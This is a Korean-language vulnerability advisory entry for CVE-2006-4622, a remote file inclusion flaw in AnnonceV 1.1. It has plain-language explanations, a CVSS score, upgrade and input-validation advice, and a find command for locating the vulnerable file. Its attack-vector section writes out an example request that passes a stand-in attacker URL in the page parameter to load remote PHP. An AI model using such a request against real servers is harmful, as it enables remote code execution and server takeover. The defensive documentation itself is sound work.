🔍 CVE-2006-4622

7.5
CVSS Score
HIGH
2006-09-07
2026-04-16 00:27
✅ 완료

🇰🇷 한글 설명

AnnonceV 1.1의 annonce.php에서 page 매개변수에 대한 입력 검증 부족으로 인한 원격 파일 포함(RFI) 취약점이다. 공격자는 원격 URL을 page 매개변수에 전달하여 임의의 PHP 코드를 서버에서 실행할 수 있다.

💡 쉬운 설명

AnnonceV 웹사이트 프로그램의 버그로, 공격자가 인터넷 어디서든 악의적인 코드를 가져와 실행시킬 수 있다. 이를 통해 공격자는 서버의 모든 데이터에 접근하고 제어할 수 있다.

🇺🇸 원문 (English)

PHP remote file inclusion vulnerability in annonce.php in AnnonceV (aka annoncesV) 1.1 allows remote attackers to execute arbitrary PHP code via a URL in the page parameter.

📍 영향받는 시스템

AnnonceV (annoncesV) 1.1 및 이전 버전

⚔️ 공격 벡터

annonce.php?page=[http://attacker.com/malicious.php]와 같이 원격 파일 URL을 page 파라미터에 전달

🛡️ 대응 방법

즉시 AnnonceV를 지원되는 최신 버전으로 업그레이드하거나, 불가능한 경우 page 매개변수를 정규식으로 검증하여 로컬 파일만 허용하도록 수정

🔧 검증 코드

annonce.php 파일 발견 시 해당 서버는 취약 버전을 실행 중이므로, 파일의 page 파라미터 처리 로직을 확인하여 원격 URL 필터링 여부를 검증해야 함

Shell / Script 
find / -name 'annonce.php' -type f -exec grep -l 'page' {} \; 2>/dev/null | head -1

📊 CVSS Vector String

CVSS Vector 
AV:N/AC:L/Au:N/C:P/I:P/A:P

💻 영향받는 소프트웨어

PHP